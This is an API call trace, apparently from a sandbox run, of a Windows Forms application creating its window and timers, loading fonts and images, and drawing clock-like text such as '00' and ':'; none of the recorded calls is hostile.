[0085.912] GetStockObject (i=5) returned 0x1900015
[0085.912] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0085.913] CoTaskMemAlloc (cb=0x5c) returned 0x1ac106d0
[0085.913] RegisterClassW (lpWndClass=0x2e5830) returned 0xc168
[0085.913] CoTaskMemFree (pv=0x1ac106d0)
[0085.913] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0085.913] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r12_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x70162
[0085.914] SetWindowLongPtrW (hWnd=0x70162, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19197c
[0085.914] GetWindowLongPtrW (hWnd=0x70162, nIndex=-4) returned 0x77a8b0ac
[0085.914] SetWindowLongPtrW (hWnd=0x70162, nIndex=-4, dwNewLong=0x1b1919cc) returned 0x77a8b0ac
[0085.914] GetWindowLongPtrW (hWnd=0x70162, nIndex=-4) returned 0x1b1919cc
[0085.914] GetWindowLongPtrW (hWnd=0x70162, nIndex=-16) returned 0x4c00000
[0085.914] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x70162, Msg=0x24, wParam=0x0, lParam=0x2e52a0) returned 0x0
[0085.914] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x70162, Msg=0x81, wParam=0x0, lParam=0x2e5210) returned 0x1
[0085.914] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x70162, Msg=0x83, wParam=0x0, lParam=0x2e52c0) returned 0x0
[0085.914] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x70162, Msg=0x1, wParam=0x0, lParam=0x2e51e0) returned 0x0
[0085.916] SetTimer (hWnd=0x70162, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1
[0085.920] GetWindowThreadProcessId (in: hWnd=0x70162, lpdwProcessId=0x2e5b60 | out: lpdwProcessId=0x2e5b60) returned 0x2c4
[0085.920] GetCurrentThreadId () returned 0x2c4
[0085.920] IsWindow (hWnd=0x70162) returned 1
[0085.920] KillTimer (hWnd=0x70162, uIDEvent=0x1) returned 1
[0085.920] SetTimer (hWnd=0x70162, nIDEvent=0x2, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x2
[0085.923] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.924] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fd5b8) returned 0x0
[0085.924] GdipGetFontSize (font=0x1c5af350, size=0x25fd5c0) returned 0x0
[0085.924] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.924] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.925] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.925] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.928] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.929] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fdb80) returned 0x0
[0085.929] GdipGetFontSize (font=0x1c5af390, size=0x25fdb88) returned 0x0
[0085.929] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.929] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.930] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.930] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.933] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.934] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fe148) returned 0x0
[0085.934] GdipGetFontSize (font=0x1c5af3d0, size=0x25fe150) returned 0x0
[0085.934] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.934] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.935] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.935] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.938] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.938] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fe710) returned 0x0
[0085.938] GdipGetFontSize (font=0x1c5af410, size=0x25fe718) returned 0x0
[0085.939] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.939] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.939] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.939] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.942] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0085.943] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25fecd8) returned 0x0
[0085.943] GdipGetFontSize (font=0x1c5af450, size=0x25fece0) returned 0x0
[0085.943] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.943] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.943] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.943] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0085.944] GetCurrentThreadId () returned 0x2c4
[0085.944] GetCurrentThreadId () returned 0x2c4
[0085.945] GetCurrentThreadId () returned 0x2c4
[0085.945] GetCurrentThreadId () returned 0x2c4
[0085.945] GetCurrentThreadId () returned 0x2c4
[0085.945] GetCurrentThreadId () returned 0x2c4
[0085.946] GetCurrentThreadId () returned 0x2c4
[0085.946] GetCurrentThreadId () returned 0x2c4
[0085.947] GetCurrentThreadId () returned 0x2c4
[0085.947] GetCurrentThreadId () returned 0x2c4
[0085.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.947] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.948] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0085.948] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0085.956] GdipLoadImageFromStream (stream=0x48ffa0, image=0x2e51e0) returned 0x0
[0085.965] GdipImageForceValidation (image=0x1c5a6cd0) returned 0x0
[0086.042] GdipGetImageType (image=0x1c5a6cd0, type=0x2e51d8) returned 0x0
[0086.042] GdipGetImageRawFormat (image=0x1c5a6cd0, format=0x2e50e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
[0086.043] GdipImageGetFrameDimensionsCount (image=0x1c5a6cd0, count=0x2e5ab0) returned 0x0
[0086.043] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1ac0e860
[0086.043] GdipImageGetFrameDimensionsList (image=0x1c5a6cd0, dimensionIDs=0x1ac0e860*(Data1=0x4874006a, Data2=0x7361, Data3=0x4368, Data4=([0]=0x6f, [1]=0x64, [2]=0x65, [3]=0x0, [4]=0x6e, [5]=0x67, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0
[0086.043] LocalFree (hMem=0x1ac0e860) returned 0x0
[0086.043] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.043] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.044] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.044] GetSystemMetrics (nIndex=5) returned 1
[0086.044] GetSystemMetrics (nIndex=6) returned 1
[0086.044] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.045] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.045] GetSystemMetrics (nIndex=5) returned 1
[0086.045] GetSystemMetrics (nIndex=6) returned 1
[0086.045] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.045] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0086.045] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.045] AdjustWindowRectEx (in: lpRect=0x2e5a68, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a68) returned 1
[0086.045] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.055] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.055] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.055] GetSystemMetrics (nIndex=5) returned 1
[0086.055] GetSystemMetrics (nIndex=6) returned 1
[0086.055] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.056] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.056] GetSystemMetrics (nIndex=5) returned 1
[0086.056] GetSystemMetrics (nIndex=6) returned 1
[0086.056] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.056] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0086.060] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0086.061] GdipCreateFont (fontFamily=0x4ac5e0, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x261d8b0) returned 0x0
[0086.061] GdipGetFontSize (font=0x1c5af490, size=0x261d8b8) returned 0x0
[0086.061] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.061] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0086.062] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.062] AdjustWindowRectEx (in: lpRect=0x2e5ad8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5ad8) returned 1
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.062] GetCurrentThreadId () returned 0x2c4
[0086.064] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.064] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.064] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.064] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.064] GetCurrentThreadId () returned 0x2c4
[0086.064] GetCurrentThreadId () returned 0x2c4
[0086.064] GetCurrentThreadId () returned 0x2c4
[0086.064] GetCurrentThreadId () returned 0x2c4
[0086.069] GetCurrentThreadId () returned 0x2c4
[0086.069] GetCurrentThreadId () returned 0x2c4
[0086.069] GetCurrentThreadId () returned 0x2c4
[0086.069] GetCurrentThreadId () returned 0x2c4
[0086.069] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0086.069] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x261e650) returned 0x0
[0086.069] GdipGetFontSize (font=0x1c5af4d0, size=0x261e658) returned 0x0
[0086.070] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.070] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.070] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.070] GetCurrentThreadId () returned 0x2c4
[0086.070] GetCurrentThreadId () returned 0x2c4
[0086.070] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.070] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.071] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.082] GdipLoadImageFromStream (stream=0x48ff20, image=0x2e51e0) returned 0x0
[0086.084] GdipImageForceValidation (image=0x1c5a7630) returned 0x0
[0086.090] GdipGetImageType (image=0x1c5a7630, type=0x2e51d8) returned 0x0
[0086.090] GdipGetImageRawFormat (image=0x1c5a7630, format=0x2e50e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
[0086.090] GdipImageGetFrameDimensionsCount (image=0x1c5a7630, count=0x2e5ab0) returned 0x0
[0086.090] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1ac0ed00
[0086.090] GdipImageGetFrameDimensionsList (image=0x1c5a7630, dimensionIDs=0x1ac0ed00*(Data1=0x414d0064, Data2=0x0, Data3=0x8fb1, Data4=([0]=0xb, [1]=0xfc, [2]=0x61, [3]=0x5, [4]=0x8, [5]=0x6, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0
[0086.090] LocalFree (hMem=0x1ac0ed00) returned 0x0
[0086.090] GetKeyboardLayout (idThread=0x0) returned 0x4090409
[0086.090] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.090] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.091] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.091] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.091] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.091] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.091] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.091] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.096] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.096] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56b100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.097] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.097] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56b110c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5b48) returned 1
[0086.097] GetCurrentThreadId () returned 0x2c4
[0086.097] GetCurrentThreadId () returned 0x2c4
[0086.108] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.109] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.118] GdipGetFamilyName (in: family=0x4ac5e0, name=0x2e5640, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0
[0086.120] CreateCompatibleDC (hdc=0x0) returned 0xd010a02
[0086.122] GetCurrentObject (hdc=0xd010a02, type=0x1) returned 0x1b00017
[0086.122] GetCurrentObject (hdc=0xd010a02, type=0x2) returned 0x1900010
[0086.122] GetCurrentObject (hdc=0xd010a02, type=0x7) returned 0x185000f
[0086.122] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x18a002e
[0086.127] SaveDC (hdc=0xd010a02) returned 1
[0086.130] GetDeviceCaps (hdc=0xd010a02, index=90) returned 96
[0086.131] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10740
[0086.131] CreateFontIndirectW (lplf=0x1ac10740) returned 0x1a0a0256
[0086.132] CoTaskMemFree (pv=0x1ac10740)
[0086.132] GetObjectW (in: h=0x1a0a0256, c=92, pv=0x2e5650 | out: pv=0x2e5650) returned 92
[0086.139] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x18a002e
[0086.139] GetObjectW (in: h=0x18a002e, c=92, pv=0x2e5450 | out: pv=0x2e5450) returned 92
[0086.142] SelectObject (hdc=0xd010a02, h=0x1a0a0256) returned 0x18a002e
[0086.145] GetMapMode (hdc=0xd010a02) returned 1
[0086.145] GetTextMetricsW (in: hdc=0xd010a02, lptm=0x2e5660 | out: lptm=0x2e5660) returned 1
[0086.147] DrawTextExW (in: hdc=0xd010a02, lpchText="00", cchText=2, lprc=0x2e5868, format=0x2400, lpdtp=0x2634e38 | out: lpchText="00", lprc=0x2e5868) returned 20
[0086.200] GetDC (hWnd=0x0) returned 0x90109d4
[0086.200] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e59a8) returned 0x0
[0086.200] GdipGetFontHeight (font=0x1c5af4d0, graphics=0x1c5a7fc0, height=0x2e59a4) returned 0x0
[0086.200] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0086.200] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0086.200] GetCurrentThreadId () returned 0x2c4
[0086.200] GetCurrentThreadId () returned 0x2c4
[0086.201] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.201] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.202] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635018 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.202] GetCurrentThreadId () returned 0x2c4
[0086.202] GetCurrentThreadId () returned 0x2c4
[0086.202] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.202] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.202] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x26351a0 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.203] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.203] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.203] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635328 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.203] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.203] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.203] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635508 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.203] GetCurrentThreadId () returned 0x2c4
[0086.204] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.204] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.204] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635690 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.204] GetCurrentThreadId () returned 0x2c4
[0086.204] GetCurrentThreadId () returned 0x2c4
[0086.204] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.204] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.204] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635818 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.204] GetCurrentThreadId () returned 0x2c4
[0086.204] GetCurrentThreadId () returned 0x2c4
[0086.205] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.205] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.205] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x26359a0 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.205] GetCurrentThreadId () returned 0x2c4
[0086.205] GetCurrentThreadId () returned 0x2c4
[0086.205] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.205] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.205] DrawTextExW (in: hdc=0xd010a02, lpchText=":", cchText=1, lprc=0x2e5868, format=0x2400, lpdtp=0x2635bc0 | out: lpchText=":", lprc=0x2e5868) returned 20
[0086.205] GetCurrentThreadId () returned 0x2c4
[0086.205] GetCurrentThreadId () returned 0x2c4
[0086.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.206] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.206] DrawTextExW (in: hdc=0xd010a02, lpchText="00", cchText=2, lprc=0x2e5868, format=0x2400, lpdtp=0x2635d48 | out: lpchText="00", lprc=0x2e5868) returned 20
[0086.206] GetCurrentThreadId () returned 0x2c4
[0086.206] GetCurrentThreadId () returned 0x2c4
[0086.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.206] AdjustWindowRectEx (in: lpRect=0x2e58f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f8) returned 1
[0086.206] DrawTextExW (in: hdc=0xd010a02, lpchText="00", cchText=2, lprc=0x2e5868, format=0x2400, lpdtp=0x2635ed0 | out: lpchText="00", lprc=0x2e5868) returned 20
[0086.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.206] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.207] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.212] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.212] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.212] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.212] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5b48) returned 1
[0086.218] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.218] AdjustWindowRectEx (in: lpRect=0x2e5ba8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5ba8) returned 1
[0086.218] GetSystemMetrics (nIndex=59) returned 1460
[0086.218] GetSystemMetrics (nIndex=60) returned 920
[0086.218] GetSystemMetrics (nIndex=34) returned 132
[0086.218] GetSystemMetrics (nIndex=35) returned 38
[0086.219] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.219] AdjustWindowRectEx (in: lpRect=0x2e5968, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5968) returned 1
[0086.219] GetCurrentThreadId () returned 0x2c4
[0086.219] GetCurrentThreadId () returned 0x2c4
[0086.220] GetCurrentThreadId () returned 0x2c4
[0086.220] GetCurrentThreadId () returned 0x2c4
[0086.220] GetCurrentThreadId () returned 0x2c4
[0086.220] GetCurrentThreadId () returned 0x2c4
[0086.220] IsAppThemed () returned 0x1
[0086.220] GetThemeAppProperties () returned 0x3
[0086.220] GetThemeAppProperties () returned 0x3
[0086.221] IsAppThemed () returned 0x1
[0086.221] GetThemeAppProperties () returned 0x3
[0086.221] GetThemeAppProperties () returned 0x3
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetCurrentThreadId () returned 0x2c4
[0086.221] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.221] AdjustWindowRectEx (in: lpRect=0x2e58b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58b8) returned 1
[0086.221] GdipGetFamilyName (in: family=0x1c4d9970, name=0x2e5600, language=0x409 | out: name="Tahoma") returned 0x0
[0086.222] GetDeviceCaps (hdc=0xd010a02, index=90) returned 96
[0086.222] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10740
[0086.222] CreateFontIndirectW (lplf=0x1ac10740) returned 0x2e0a09ef
[0086.222] CoTaskMemFree (pv=0x1ac10740)
[0086.222] GetObjectW (in: h=0x2e0a09ef, c=92, pv=0x2e5610 | out: pv=0x2e5610) returned 92
[0086.222] SelectObject (hdc=0xd010a02, h=0x2e0a09ef) returned 0x1a0a0256
[0086.222] GetMapMode (hdc=0xd010a02) returned 1
[0086.222] GetTextMetricsW (in: hdc=0xd010a02, lptm=0x2e5620 | out: lptm=0x2e5620) returned 1
